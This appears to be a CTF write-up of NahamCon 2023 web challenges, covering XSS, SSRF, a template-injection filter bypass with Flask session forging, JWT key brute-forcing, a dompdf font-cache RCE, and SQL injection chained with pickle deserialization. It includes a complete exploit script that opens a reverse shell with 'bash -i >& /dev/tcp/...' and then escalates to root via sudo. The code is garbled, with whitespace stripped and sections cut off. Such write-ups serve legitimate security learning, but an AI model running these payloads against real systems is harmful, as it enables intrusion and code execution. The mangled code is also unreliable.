This post is focused on the walkthrough of NahamCon 2023 CTF.
Introduction
I participated in the NahamCon 2023 CTF with the team m4lware. We ended up 82 out of 2517 teams. From the web challenges I was only able to solve 2 challenges (Star Wars & Stickers) during the time of the competition but I managed to solve all of them afterwards with some hints and help.
Star Wars
Description
Solution
The challenge was very easy. We got a simple website. We can create an account and login as the user. There we see a blog post by admin user.
On the blog post there was a comment section.
The comment feature has no validation or sanitization so trying out for XSS we can inject a simple XSS payload and it works.
Payload: <script>alert(2)</script>
We also got a message that comment would be reviewed by admin.
This means that we can inject a malicious script and when the admin would review it the XSS would be triggered and we can get his cookie.
fromflaskimportFlask,request,render_template,send_from_directory,send_file,redirect,url_forimportosimporturllibimporturllib.requestapp=Flask(__name__)@app.route('/')defindex():artifacts=os.listdir(os.path.join(os.getcwd(),'public'))returnrender_template('index.html',artifacts=artifacts)@app.route("/public/<file_name>")defpublic_sendfile(file_name):file_path=os.path.join(os.getcwd(),"public",file_name)ifnotos.path.isfile(file_path):return"Error retrieving file",404returnsend_file(file_path)@app.route('/browse',methods=['GET'])defbrowse():file_name=request.args.get('artifact')ifnotfile_name:return"Please specify the artifact to view.",400artifact_error="<h1>Artifact not found.</h1>"if".."infile_name:returnartifact_error,404iffile_name[0]=='/'andfile_name[1].isalpha():returnartifact_error,404file_path=os.path.join(os.getcwd(),"public",file_name)ifnotos.path.isfile(file_path):returnartifact_error,404if'flag.txt'infile_path:return"Sorry, sensitive artifacts are not made visible to the public!",404withopen(file_path,'rb')asf:data=f.read()image_types=['jpg','png','gif','jpeg']ifany(file_name.lower().endswith("."+image_type)forimage_typeinimage_types):is_image=Trueelse:is_image=Falsereturnrender_template('view.html',data=data,filename=file_name,is_image=is_image)@app.route('/submit')defsubmit():returnrender_template('submit.html')@app.route('/private_submission_fetch',methods=['GET'])defprivate_submission_fetch():url=request.args.get('url')ifnoturl:return"URL is required.",400response=submission_fetch(url)returnresponsedefsubmission_fetch(url,filename=None):returnurllib.request.urlretrieve(url,filename=filename)@app.route('/private_submission')defprivate_submission():ifrequest.remote_addr!='127.0.0.1':returnredirect(url_for('submit'))url=request.args.get('url')file_name=request.args.get('filename')ifnoturlornotfile_name:return"Please specify a URL and a file name.",400try:submission_fetch(url,os.path.join(os.getcwd(),'public',file_name))exceptExceptionase:returnstr(e),500return"Submission received.",200if__name__=='__main__':app.run(debug=False,host="0.0.0.0",port=5000)
The interesting part is the following routes /private_submission_fetch and /private_submission.
@app.route('/private_submission_fetch',methods=['GET'])defprivate_submission_fetch():url=request.args.get('url')ifnoturl:return"URL is required.",400response=submission_fetch(url)returnresponsedefsubmission_fetch(url,filename=None):returnurllib.request.urlretrieve(url,filename=filename)@app.route('/private_submission')defprivate_submission():ifrequest.remote_addr!='127.0.0.1':returnredirect(url_for('submit'))url=request.args.get('url')file_name=request.args.get('filename')ifnoturlornotfile_name:return"Please specify a URL and a file name.",400try:submission_fetch(url,os.path.join(os.getcwd(),'public',file_name))exceptExceptionase:returnstr(e),500return"Submission received.",200if__name__=='__main__':app.run(debug=False,host="0.0.0.0",port=5000)
The /private_submission_fetch route takes in a url and fetches that page using urllib.request.urlretrieve. This basically downloads a file from the provided URL and saves it on the specified path locally.
urllib.request.urlretrieve
In Python, the urllib.request.urlretrieve function is part of the urllib.request module. It is used to retrieve files from the web by downloading them to the local file system.
Since this submission_fetch takes in any URL without any validation, it is potentially vulnerable to SSRF.
The webpage shows 500 Internal Server Error but we get response back on webhook.site.
This confirms the SSRF.
The next thing to target is the /private_submission route. This only takes requests from 127.0.0.1 so we need to note that. This route basically takes in a URL and a filename and saves the file into the public folder where all the other images are stored.
We can take advantage of this, by leveraging the SSRF from /private_submission_fetch and then calling /private_submission from 127.0.0.1. After that, fetch the flag.txt and save it in the public folder.
We call the 127.0.0.1:5000/private_submission from the SSRF in /private_submission_fetch then fetch the flag.txt using file:/// and save it locally as saad.txt in public folder.
But to our surprise, it blocks certain commands using a blacklist.
Trying some WAF bypass payloads, we get one working as follows.
We can use the self.__dict__ to get the dictionary that holds the attributes and their corresponding values for an instance of the current class.
To bypass the WAF, we’ll use the following payload.
Payload: {{self|attr('\x5f\x5fdict\x5f\x5f')}}
Here we get the secret key being used in the flask login session.
Secret Key: >HN&Ngup3WqNm6q$5nPGSAoa7SaDuY
We can use flask-unsign to decode the current auth-token cookie.
It shows that our id is 2, indicating that there’s another user with id=1.
We can sign a new cookie with id=1 as we have the secret key.
Updating the session cookie, we get the flag.
Flag: flag{7b5b91c60796488148ddf3b227735979}
Marmalade 5
Description
Solution
The landing page asks us for a username and then takes us to the following page.
There’s nothing much in the application except that we need to somehow become admin to get the flag.
We can try entering admin as our username on the initial page but it doesn’t allow us.
Decoding our session token, we see that it uses MD5_HMAC algorithm and has our username in the payload.
Upon changing anything in the original token, we get the following error.
This leaks the signing key partially.
Also, notice that if we provide the MD5_HMAC as the token header it shows invalid signature.
But if we change the algorithm to HS256 for instance, then it shows invalid algorithm.
So in short, we need to keep the algorithm to MD5_HMAC and brute force the remaining characters of the signing key.
The signing key is 15 characters long out of which 10 are given (all lowercase). So we can guess the remaining 5 characters may also be lowercase letters.
This post provides details for manual implementation of JWT with SHA-256.
We can change the SHA-256 part to MD5 to make our custom JWT algorithm.
defbrute_force_secret_key(known_secret_key):# Assuming only lowercase letters as the first 10 characters are lowercaselowercase_letters='abcdefghijklmnopqrstuvwxyz'total_combinations=len(lowercase_letters)**5progress_bar=tqdm(total=total_combinations,unit='combination')forcombinationinitertools.product(lowercase_letters,repeat=5):# Create the potential secret key by combining the known key and the brute-forced lowercase letterssecret_key=known_secret_key+''.join(combination)check_token=create_jwt_token("saad",secret_key.encode())original_jwt_token="eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6InNhYWQifQ.N87s9fHVZzgaytkjwri3MQ"if(check_token==original_jwt_token):print(f'Found original key: {secret_key}')returnsecret_keyprogress_bar.update(1)else:progress_bar.close()print("Secret Key not found!")returnNonepartial_secret_key="fsrwjcfszeg"original_secret_key=brute_force_secret_key(partial_secret_key)
I logged in as saad and saved my token as original_jwt_token. Next I brute forced the remaining 5 characters of the key and created a new token with create_jwt_token. Finally, I matched it against the original_jwt_token and if the match is found, then I’ll get my original secret_key.
Finally using this secret key, we can create the admin jwt token to get the flag.
importjsonimportbase64importhmacimporthashlibimportitertoolsfromtqdmimporttqdmdefcreate_jwt_token(username,secret_key):jwt_header="""
{
"alg": "MD5_HMAC"
}
"""jwt_data='{ "username": "{}" }'.format(username)jwt_values={"header":jwt_header,"data":jwt_data,}# remove all the empty spacesjwt_values_cleaned={key:json.dumps(json.loads(value),separators=(",",":"),)forkey,valueinjwt_values.items()}jwt_values_enc={key:base64.urlsafe_b64encode(value.encode("utf-8")).decode("utf-8").rstrip('=')forkey,valueinjwt_values_cleaned.items()}sig_payload="{header}.{data}".format(header=jwt_values_enc['header'],data=jwt_values_enc['data'],)sig=hmac.new(secret_key,msg=sig_payload.encode("utf-8"),digestmod=hashlib.md5).digest()ecoded_sig=base64.urlsafe_b64encode(sig).decode("utf-8").rstrip("=")jwt_token="{sig_payload}.{sig}".format(sig_payload=sig_payload,sig=ecoded_sig)returnjwt_tokendefbrute_force_secret_key(known_secret_key):# Assuming only lowercase letters as the first 10 characters are lowercaselowercase_letters='abcdefghijklmnopqrstuvwxyz'total_combinations=len(lowercase_letters)**5progress_bar=tqdm(total=total_combinations,unit='combination')forcombinationinitertools.product(lowercase_letters,repeat=5):# Create the potential secret key by combining the known key and the brute-forced lowercase letterssecret_key=known_secret_key+''.join(combination)check_token=create_jwt_token("saad",secret_key.encode())original_jwt_token="eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6InNhYWQifQ.N87s9fHVZzgaytkjwri3MQ"if(check_token==original_jwt_token):print(f'Found original key: {secret_key}')returnsecret_keyprogress_bar.update(1)else:progress_bar.close()print("Secret Key not found!")returnNonepartial_secret_key="fsrwjcfszeg"original_secret_key=brute_force_secret_key(partial_secret_key)print("JWT Token of admin: ",end="")print(create_jwt_token("admin",original_secret_key.encode()))
Change the token, you’ll be logged in as admin and get the flag.
Flag: flag{a249dff54655158c25ddd3584e295c3b}
Stickers
Description
Solution
We get a stickers application in which we can enter organisation name, email and number of stickers to generate a pdf mentioning the total price of the stickers.
Upon submitting we get a nice looking PDF with our input values reflected.
Analyzing the pdf with pdfinfo we see it’s using dompdf 1.2.
Upon looking for exploits for dompdf, there was a RCE vulnerability applicable on the same version.
This post explains the vulnerability really well so I’ll only discuss about it briefly.
dompdf RCE
Dompdf versions <1.2. 1 are vulnerable to Remote Code Execution (RCE) by injecting CSS into the data. The file can be tricked into storing a malicious font with a . php file extension in its font cache, which can later be executed by accessing it from the web.
To make the exploit work, we first need to take a valid .ttf file and change the extension to .php. This approach is the actual way to exploit it but for some reason if I was using any .ttf file and append the php in it then it was showing parsing errors.
So I tried looking for POCs and this one’s php file worked without any errors.
Git clone the above repo and cd into the exploit folder.
Start a ngrok server and put its IP into the exploit.css file.
This was one of the coolest web challenges that I’ve solved. It was hard for me so I had to look at hints and writeups to better understand the code.
Solution
This challenge also provides the source code so we’ll analyze that first.
The app.py has several routes so we’ll go through the important ones.
Take a look at the GET /download/<filename>/<sessionid> route.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/download/<filename>/<sessionid>',methods=['GET'])defdownload_file(filename,sessionid):conn=get_db()c=conn.cursor()c.execute(f"SELECT * FROM activesessions WHERE sessionid=?",(sessionid,))active_session=c.fetchone()ifactive_sessionisNone:flash('No active session found')returnredirect(url_for('home'))c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))file_data=c.fetchone()iffile_dataisNone:flash('File not found')returnredirect(url_for('files'))file_blob=pickle.loads(base64.b64decode(file_data[0]))returnsend_file(io.BytesIO(file_blob),download_name=filename,as_attachment=True)
In this route, it first checks if there’s an active session exists.
active sessions queryc.execute(f"SELECT * FROM activesessions WHERE sessionid=?", (sessionid,))
If this query returns a valid result, it then checks for a specific file.
file loading query c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))
If the file data exists as well then we get to the file_blob part.
Here it calls pickle.loads() on the file_data fetched earlier.
pickle.loads()
The risks associated with pickle.loads() are due to the fact that it can execute arbitrary Python code during the deserialization process. If an attacker can control the pickle data, they can potentially craft a payload that executes malicious code when the data is deserialized using pickle.loads().
We saw that it calls pickle.loads() on the contents of the file fetched from the db. If we can somehow inject RCE Payload on the file and call this API, then it will execute our payload and we can get the shell on the system.
@app.route('/login',methods=['POST'])deflogin_user():username=DBClean(request.form['username'])password=DBClean(request.form['password'])conn=get_db()c=conn.cursor()sql=f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"c.executescript(sql)user=c.fetchone()ifuser:c.execute(f"SELECT sessionid FROM activesessions WHERE username=?",(username,))active_session=c.fetchone()ifactive_session:session_id=active_session[0]else:c.execute(f"SELECT username FROM users WHERE username=?",(username,))user_name=c.fetchone()ifuser_name:session_id=str(uuid.uuid4())c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")else:flash("A session could be not be created")returnlogout()session['username']=usernamesession['session_id']=session_idconn.commit()returnredirect(url_for('files'))else:flash('Username or password is incorrect')returnredirect(url_for('home'))
This route takes in a username and password, then passes it to the SQL query to check if the user exists.
Notice that it first passes the params through DBClean function.
Here if we provide, <space>, ', or "" then it removes it from the parameter. This removes the chance of SQL injection but the last line string.replace("\\", "'") basically introduces the SQLi here.
If the DBClean sees a \ then it replaces it with ' single quotation mark, allowing us to exploit the SQLi.
Next thing to note is the usage of executescript() and execute() functions.
executescript()
executescript() is used to execute multiple SQL statements or an entire script.
It takes a string argument containing one or more SQL statements.
It can execute multiple queries separated by semicolons (;) or newline characters (\n).
Unlike execute(), it does not return a cursor object.
It automatically commits the changes to the database if no error occurs.
execute()
execute() is used to execute a single SQL statement.
It takes the SQL query as a string argument.
It can be used with parameterized queries by passing a tuple or dictionary as the second argument.
The method returns a cursor object that can be used to fetch the query results.
Our query with the username and password will go through executescript() first so we can have a payload containing multiple SQL queries.
To inject the RCE payload into the files, the SQLi comes into play.
First thing is to insert a malicious file into the files table. To do that, we’ll need to pass the active sessions query and to pass the active sessions query, we need to insert a valid query in activesessions table.
So we’ll go through the following steps.
Insert a valid active session into the database.
Generate a payload for RCE.
Insert the Payload into the file.
Trigger the file to get the RCE.
Inserting a valid active session
As we previously saw that the username parameter is first passed in DBClean function and then passed to executescript(). We can make a SQLi payload such that it leverages the SQLi, bypasses the DBClean sanitization and inserts a new active session to the DB.
I’ll run the exploit locally first by running the app.py file as python3 app.py
This will also create a /tmp/database.db file.
The db schema is as follows.
The activesessions table has three fields i.e. session_id, username and timestamp.
The timestamp format can be seen from the app.py.
c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")
Now the query to insert the active session into the DB.
I made a function for reversing the DBClean() function such that if I provide the normal query it would convert into a version suitable for DBClean() function.
Make a class doPickle whose overall purpose is to create a payload that, when deserialized using pickle.loads(), will execute the specified payload as a command using os.system().
importpickle,requests,sys,random,base64,os# Specifying URL of the site and URL,IP_PORT=sys.argv[1],sys.argv[2].replace(":","/")print(f"(+) Target URL: {URL}")print(f"(+) Your IP and PORT: {IP_PORT}")# Function to make the pickle RCE payloaddefdoPickle(payload):classPickleRce(object):def__reduce__(self):return(os.system,(payload,))returnbase64.b64encode(pickle.dumps(PickleRce()))# Function to trigger the RCE payload after inserting into the DBdeftriggerPayload(filename):print("(+) Trigger payload")headers={'Host':URL,'Content-Type':'application/x-www-form-urlencoded',}endpoint=f"{URL}/download/{filename}/123"print(f"(+) Endpoint: {endpoint}")returnrequests.get(endpoint,headers=headers,verify=False,allow_redirects=False).text# Inverted Function for the DBClean sanitizationdefDBRestore(string):string=string.replace("'","\\")string=string.replace("\n","%0a")string=string.replace(" ","/**/")returnstring# Function to send the HTTP requests to /login endpoint for inserting different queriesdefsendRequest(description,data):print(f"(+) {description}")headers={'Host':URL,'Content-Type':'application/x-www-form-urlencoded',}data=f'username={data}&password=1'returnrequests.post(f"{URL}/login",headers=headers,data=data,verify=False,allow_redirects=False).text# Inserting an active sessionpayload=DBRestore("admin';\nINSERT INTO activesessions (sessionid, username, timestamp) VALUES ('123', 'saad', '2023-06-20/**/06:13:22.123456');--")sendRequest("Create session",payload)# Generating a random number for unique file namerandNum=random.randint(10000,99999)# Generating the reverse shell and pickle payloadencodedCommand=base64.b64encode(f'bash -i >& /dev/tcp/{IP_PORT} 0>&1'.encode('utf-8')).decode('utf-8')Command=f'echo "{encodedCommand}" | base64 -d | bash 'picklePayload=doPickle(Command).decode('utf-8')# Inserting file with payload into the DBpayload=DBRestore("admin';\nINSERT INTO files (filename, data, sessionid) VALUES ('MYFILE', 'PICKLEPAYLOAD', '123');--".replace("MYFILE",str(randNum)).replace("PICKLEPAYLOAD",picklePayload))sendRequest("Create file",payload)# Triggering the payload to get RCEtriggerPayload(randNum)
Start the ngrok and nc listener and execute the script.
We’ll get a reverse shell as user transfer.
sudo -l reveals (root) NOPASSWD: ALL.
Run sudo su to get shell as root and read the flag at /root/flag.txt.